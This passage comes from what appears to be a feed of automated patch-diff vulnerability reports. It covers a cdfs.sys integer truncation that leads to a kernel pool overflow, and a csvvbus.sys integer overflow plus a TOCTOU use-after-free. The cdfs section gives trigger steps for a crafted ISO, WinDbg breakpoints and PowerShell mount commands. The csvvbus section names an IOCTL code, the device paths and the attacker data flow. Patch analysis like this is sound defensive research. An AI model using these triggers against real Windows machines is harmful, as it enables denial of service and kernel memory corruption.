&lt;span class="nt"&gt;0x1c000a4aa&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;shl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r10&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x4&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;FIX&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;64-bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;shift&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;correct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x50&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000a4b0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r10&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;holds&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0xFFFFFFFF&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Compare&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;against&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;max&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;32-bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;int&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000a4b3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;cmovbe&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r10d&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;If&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0xFFFFFFFF&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;actual&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;size&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000a4b7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;ja&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;0x1c000a5fa&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;If&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0xFFFFFFFF&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;jump&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;error&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;ABORT&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Error&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000a5fa&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r9d&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x20000&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;
&lt;span class="nt"&gt;0x1c000a60b&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0xc00000e9&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;STATUS_UNEXPECTED_IO_ERROR&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000a610&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;0x1c00010e0&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;CdRaiseStatusEx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;safely&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;aborts&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;without&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;overflowing&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h3&gt;5. Trigger Conditions&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Image Crafting:&lt;/strong&gt; Create a malicious ISO9660 disk image. The image must contain a file constructed with an extraordinarily large number of directory entry extents (on the order of 67 million). This can be achieved via many interleaved extents.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mounting:&lt;/strong&gt; Mount the disk image using the native Windows ISO mounter or a third-party utility. No administrator privileges are required for standard users to mount an ISO in Windows 10/11.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Access:&lt;/strong&gt; Open a file on the mounted volume or read its contents (e.g., &lt;code&gt;CreateFileW("\\.\D:\target_file", ...)&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Parsing &amp;amp; Overflow:&lt;/strong&gt; The CDFS driver parses the file layout. The array capacity counter at &lt;code&gt;FCB+0x108&lt;/code&gt; starts at 1 and doubles as extents are processed (1, 2, 4... 2^n).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ignition:&lt;/strong&gt; When the capacity counter reaches &lt;code&gt;0x4000000&lt;/code&gt; (2^26 = 67,108,864, the first power of two past the ~53.7 million overflow threshold), the 32-bit allocation calculation (&lt;code&gt;capacity * 0x50 = 0x140000000&lt;/code&gt;) truncates to &lt;code&gt;0x40000000&lt;/code&gt; (1 GiB). Reaching this growth also requires the previous growth at capacity &lt;code&gt;0x2000000&lt;/code&gt; to have succeeded, i.e. a ~2.5 GiB paged-pool allocation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Crash:&lt;/strong&gt; The subsequent 64-bit &lt;code&gt;memmove&lt;/code&gt; attempts to write &lt;code&gt;0xA0000000&lt;/code&gt; (~2.5 GiB) into the 1 GiB buffer, overrunning it by ~1.5 GiB, resulting in kernel memory corruption and a BSOD (e.g., &lt;code&gt;BAD_POOL_CALLER&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; Kernel pool buffer overflow. The overflow source is the old allocation-extent array, whose entries hold parsed directory extent fields (extent logical block number, data length, interleave parameters), so the overrun content is influenced by the crafted ISO. However, the overrun is a single ~1.5 GiB linear &lt;code&gt;memmove&lt;/code&gt;, not a bounded or targetable write.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Practical impact:&lt;/strong&gt; The demonstrable, reachable outcome is kernel memory corruption leading to a system crash (BSOD). The copy length (~2.5 GiB) is far larger than any pool allocation and cannot be sized down to a controlled overrun: the memory layout is a power-of-two doubling series, so the smallest overrun that reaches the vulnerable path is already ~1.5 GiB. A copy of that magnitude runs off the end of the pool region into unmapped memory before any adjacent object could be usefully corrupted, so it does not provide a controllable write primitive.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Preconditions that further constrain exploitation:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Reaching capacity 2^26 requires the driver to first succeed at the previous growth (a ~2.5 GiB paged-pool allocation) and to parse on the order of 67 million directory extents, implying a multi-gigabyte crafted image and a target with abundant paged pool.&lt;/li&gt;
&lt;li&gt;These constraints, combined with the uncontrollable overrun size, mean reliable local privilege escalation is not demonstrated; the honest, reachable impact is Denial of Service.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;7. Debugger PoC Playbook&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp cdfs!CdAddAllocationFromDirent
bp 0x1c000a49d &amp;quot;.printf \&amp;quot;VULN SIZE CALC: capacity=%x\\n\&amp;quot;, @rax; .if (@rax &amp;lt; 0x4000000) { gc } .else { .echo CRITICAL CAPACITY REACHED }&amp;quot;
bp 0x1c000a4b2 &amp;quot;.printf \&amp;quot;ExAllocatePoolWithTag size (truncated)=%x\\n\&amp;quot;, @edx&amp;quot;
bp 0x1c000a4e6 &amp;quot;.printf \&amp;quot;MEMMOVE size (full 64-bit)=%x\\n\&amp;quot;, @r8&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;What to Inspect:&lt;/strong&gt;
* &lt;strong&gt;At Function Entry:&lt;/strong&gt; &lt;code&gt;rdx&lt;/code&gt; is the FCB pointer. Inspect &lt;code&gt;dt _FCB&lt;/code&gt; or specifically &lt;code&gt;[rdx+0x108]&lt;/code&gt; (capacity). &lt;code&gt;r8d&lt;/code&gt; contains the index currently being added.
* &lt;strong&gt;At 0x1c000a49d (Size Calc):&lt;/strong&gt; &lt;code&gt;eax&lt;/code&gt; holds the raw capacity. Watch it double across multiple calls (1, 2, 4, ...). When it hits &lt;code&gt;0x4000000&lt;/code&gt;, the bug is primed. Note how the subsequent shift instructions leave &lt;code&gt;edx&lt;/code&gt; (allocation size = &lt;code&gt;0x40000000&lt;/code&gt;) drastically smaller than the true 64-bit size (&lt;code&gt;0x140000000&lt;/code&gt;).
* &lt;strong&gt;At 0x1c000a4b2 (Allocation):&lt;/strong&gt; &lt;code&gt;ecx&lt;/code&gt;, &lt;code&gt;edx&lt;/code&gt;, &lt;code&gt;r8d&lt;/code&gt; contain the PoolType, Size, and Tag. Inspect &lt;code&gt;rax&lt;/code&gt; after the call (&lt;code&gt;gu&lt;/code&gt;) to see the allocated pool pointer.
* &lt;strong&gt;At 0x1c000a4e6 (Overflow site):&lt;/strong&gt; &lt;code&gt;rcx&lt;/code&gt; is the undersized destination buffer. &lt;code&gt;rdx&lt;/code&gt; is the valid source array. &lt;code&gt;r8&lt;/code&gt; is the massive copy length. Use &lt;code&gt;!pool @rcx&lt;/code&gt; to see the buffer layout before stepping.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Trigger Setup:&lt;/strong&gt;
1. Boot a Windows VM with a WinDbg kernel debugger attached.
2. Replace &lt;code&gt;cdfs.sys&lt;/code&gt; with the unpatched binary or ensure you are testing on an unpatched system.
3. Prepare a crafted &lt;code&gt;.iso&lt;/code&gt; file containing a file whose parsing adds on the order of 67 million directory extents. 
4. Mount the &lt;code&gt;.iso&lt;/code&gt; on the victim OS (e.g., &lt;code&gt;Mount-DiskImage&lt;/code&gt; in PowerShell).
5. Issue &lt;code&gt;Invoke-Item X:\path\to\crafted\file&lt;/code&gt; (where X is the mounted drive) to trigger &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Expected Observation:&lt;/strong&gt;
The debugger will break at the custom breakpoints as the capacity doubles. Once &lt;code&gt;capacity&lt;/code&gt; hits &lt;code&gt;0x4000000&lt;/code&gt;, continuing execution will trigger the &lt;code&gt;memmove&lt;/code&gt;. It will write past the allocated 1 GiB pool buffer. The system will BSOD with &lt;code&gt;BAD_POOL_CALLER&lt;/code&gt; (0xC2) or &lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt; (0x50) from within &lt;code&gt;nt!memmove&lt;/code&gt; called by &lt;code&gt;cdfs!CdAddAllocationFromDirent&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;8. Changed Functions — Full Triage&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CdAddAllocationFromDirent&lt;/code&gt; (Similarity: 0.8648)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change Type:&lt;/strong&gt; Security Relevant&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Notes:&lt;/strong&gt; Contains the core vulnerability. Stack frame increased to accommodate 64-bit math and overflow checking. Added an explicit branch to raise &lt;code&gt;STATUS_UNEXPECTED_IO_ERROR&lt;/code&gt; instead of allowing pool allocation truncation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CdInitializeFcbFromFileContext&lt;/code&gt; (Similarity: 0.9922)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change Type:&lt;/strong&gt; Behavioral&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Notes:&lt;/strong&gt; Cosmetic register allocation changes (r12 ↔ r13). Functionally updated to pass &lt;code&gt;arg1&lt;/code&gt; (the IRP context) properly to &lt;code&gt;CdAddAllocationFromDirent&lt;/code&gt; to support the new error path. Call target offset updated.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CdLookupAllocation&lt;/code&gt; (Similarity: 0.9928)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change Type:&lt;/strong&gt; Behavioral&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Notes:&lt;/strong&gt; Cosmetic register allocation changes (r14 ↔ rsi). Like the FCB init function, its call to &lt;code&gt;CdAddAllocationFromDirent&lt;/code&gt; was updated to correctly pass the IRP context. Source line number constants for error reporting shifted by 1.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;9. Unmatched Functions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; None.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Removed:&lt;/strong&gt; None.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Implication:&lt;/em&gt; The mitigation was strictly self-contained within the existing logic flow, requiring no new helper functions or security wrappers.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;10. Confidence &amp;amp; Caveats&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence Level:&lt;/strong&gt; High. The assembly diff explicitly demonstrates the mismatch between the 32-bit allocation size calculation and the 64-bit &lt;code&gt;memmove&lt;/code&gt; length calculation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assumptions:&lt;/strong&gt; The capacity at &lt;code&gt;FCB+0x108&lt;/code&gt; is initialized to 1 and doubles as extents are parsed (&lt;code&gt;mov esi, 1; mov [rdi+108h], esi&lt;/code&gt; at the FCB-init site, and &lt;code&gt;add eax, eax&lt;/code&gt; in the growth path). The first overflowing growth occurs at capacity &lt;code&gt;0x4000000&lt;/code&gt; (2^26), so the count is driven by index reaching that value (on the order of 67 million extents added).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Manual Verification Required:&lt;/strong&gt; Researchers must manually craft or programmatically generate a specifically malformed ISO9660 image. Creating a file with tens of millions of extents in a physical or virtual image format requires custom tooling to bypass standard ISO authoring limitations. Standard tools like &lt;code&gt;mkisofs&lt;/code&gt; may refuse to generate such a malformed structure. Note also that triggering the overflow requires the earlier growth at capacity &lt;code&gt;0x2000000&lt;/code&gt; to succeed, which itself demands a ~2.5 GiB paged-pool allocation on the target.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>csvvbus.sys — Use-after-free from unsynchronized EncryptionManager access (CWE-416) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/csvvbus_f55f3560-csvvbus-report-20260625-214529.html" rel="alternate"/><published>2026-06-25T00:00:00-07:00</published><updated>2026-06-25T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-25:/drift-corpus/item/csvvbus_f55f3560-csvvbus-report-20260625-214529.html</id><summary type="html">&lt;p&gt;KB5073723&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;csvvbus_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;csvvbus_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; 0.959&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;Matched Functions: 256&lt;/li&gt;
&lt;li&gt;Changed Functions: 7&lt;/li&gt;
&lt;li&gt;Identical Functions: 249&lt;/li&gt;
&lt;li&gt;Unmatched Functions: 0 (both directions)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch changes two areas of the Windows Cluster Shared Volume (CSV) Bus Driver. The security-significant fix is a Time-of-Check to Time-of-Use (TOCTOU) race condition that could lead to a Use-After-Free (UAF) of the &lt;code&gt;EncryptionManager&lt;/code&gt; object, now fixed by acquiring &lt;code&gt;SigningLock&lt;/code&gt; in shared mode before the access (High). The second change is a CWE-190 integer overflow in the IOCTL property-parsing bounds check; it is a bounds-check bypass only, because the same oversized value that overflows the check is also the allocation size and forces a failing allocation, so no memory corruption is reachable from this path. That second change is therefore a low-severity hardening fix, not a reachable memory-safety bug.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: Integer Overflow in Property-Parsing Bounds Check (Hardening)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; CWE-190 (Integer Overflow or Wraparound) - bounds-check bypass&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;VxVolumerSetStorageProp&lt;/code&gt; (unpatched @ &lt;code&gt;0x1C0009D54&lt;/code&gt;, patched @ &lt;code&gt;0x1C0009DAC&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; The &lt;code&gt;VxVolumerSetStorageProp&lt;/code&gt; function processes variable-length property arrays from IOCTL input. The loop contains a bounds check that verifies if the remaining input buffer can hold the current entry: &lt;code&gt;if (remaining &amp;lt; size + 8) break;&lt;/code&gt;. The &lt;code&gt;size + 8&lt;/code&gt; computation is performed using 32-bit arithmetic without overflow detection (&lt;code&gt;add eax, 8&lt;/code&gt; at &lt;code&gt;0x1C0009FD4&lt;/code&gt;, and again in the do-while continuation at &lt;code&gt;0x1C000A1F8&lt;/code&gt;). If an attacker supplies a &lt;code&gt;size&lt;/code&gt; value &amp;gt;= &lt;code&gt;0xFFFFFFF8&lt;/code&gt; at offset &lt;code&gt;+0xC&lt;/code&gt; of the structure, the addition wraps to a small integer (&lt;code&gt;0&lt;/code&gt; to &lt;code&gt;7&lt;/code&gt;), bypassing the bounds check.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exploitability:&lt;/strong&gt; The same &lt;code&gt;size&lt;/code&gt; value that triggers the overflow (&amp;gt;= &lt;code&gt;0xFFFFFFF8&lt;/code&gt;) is also passed to &lt;code&gt;WdfMemoryCreate&lt;/code&gt; as the allocation size, so that ~4GB allocation fails (&lt;code&gt;js 0x1C000A204&lt;/code&gt;) before the &lt;code&gt;memset&lt;/code&gt;/&lt;code&gt;memmove&lt;/code&gt; at &lt;code&gt;0x1C000A064&lt;/code&gt;/&lt;code&gt;0x1C000A078&lt;/code&gt; run; the loop advance is separately bounds-checked. The demonstrable effect is a bounds-check bypass, not a directly reachable pool overflow. This is a genuine CWE-190 hardening gap that the patch closes with an explicit overflow guard.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry Point &amp;amp; Data Flow:&lt;/strong&gt;&lt;ol&gt;
&lt;li&gt;Attacker sends &lt;code&gt;IOCTL 0x7780064&lt;/code&gt; via &lt;code&gt;DeviceIoControl&lt;/code&gt; to &lt;code&gt;\Device\CSVVolume%d&lt;/code&gt; or &lt;code&gt;\Device\VClusBus&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The WDF callback &lt;code&gt;VxVolumeEvtIoDeviceControl&lt;/code&gt; handles the request.&lt;/li&gt;
&lt;li&gt;Execution is dispatched to &lt;code&gt;VxVolumerSetStorageProp&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The function parses the malicious input buffer and bypasses the remaining-bytes bounds check; the subsequent allocation of the same oversized value fails, so no copy occurs.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2: TOCTOU Race Leading to Use-After-Free (UAF)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; High&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; CWE-367 (Time-of-Check Time-of-Use) leading to CWE-416 (Use-After-Free)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;CsvCamSetSecurityInfoSafe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; The function reads and dereferences the global &lt;code&gt;EncryptionManager&lt;/code&gt; pointer without holding the &lt;code&gt;SigningLock&lt;/code&gt;. A concurrent thread can trigger an exclusive lock path that frees the &lt;code&gt;EncryptionManager&lt;/code&gt; object and replaces it. The unprotected thread may then attempt to dereference a dangling (freed) pointer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exploitability:&lt;/strong&gt; If a concurrent thread frees &lt;code&gt;EncryptionManager&lt;/code&gt; during the unsynchronized read, the victim thread dereferences a freed pool object (reading &lt;code&gt;+0x20&lt;/code&gt; and the &lt;code&gt;+0x18&lt;/code&gt; pointer). Should the freed allocation be reclaimed before the dereference, the values read come from whatever reoccupied the block, so the impact ranges from a kernel crash to information disclosure via the &lt;code&gt;memcmp&lt;/code&gt;. A reliable read/write primitive is not demonstrated and would depend on paged-pool reclaim reliability.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry Point &amp;amp; Data Flow:&lt;/strong&gt;&lt;ol&gt;
&lt;li&gt;An attacker opens concurrent handles to &lt;code&gt;\Device\VClusBus&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Thread A sends an IOCTL triggering &lt;code&gt;VxBusControlEvtIoDeviceControl&lt;/code&gt;, which routes to &lt;code&gt;CsvCamSetSecurityInfoSafe&lt;/code&gt; with a non-zero encryption type. This enters the unprotected read path.&lt;/li&gt;
&lt;li&gt;Thread B simultaneously triggers the &lt;code&gt;EncryptionManager&lt;/code&gt; replacement path (exclusive lock).&lt;/li&gt;
&lt;li&gt;Thread A dereferences the now-freed &lt;code&gt;EncryptionManager&lt;/code&gt; pointer, causing the UAF.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;Finding 1: &lt;code&gt;VxVolumerSetStorageProp&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Highlighted lines show the missing integer overflow check and the resulting dangerous &lt;code&gt;memcpy&lt;/code&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED (Vulnerable) ---&lt;/span&gt;
&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;remaining&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;end_ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;current_ptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attacker_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;current_ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// *** MISSING INTEGER OVERFLOW CHECK ***&lt;/span&gt;
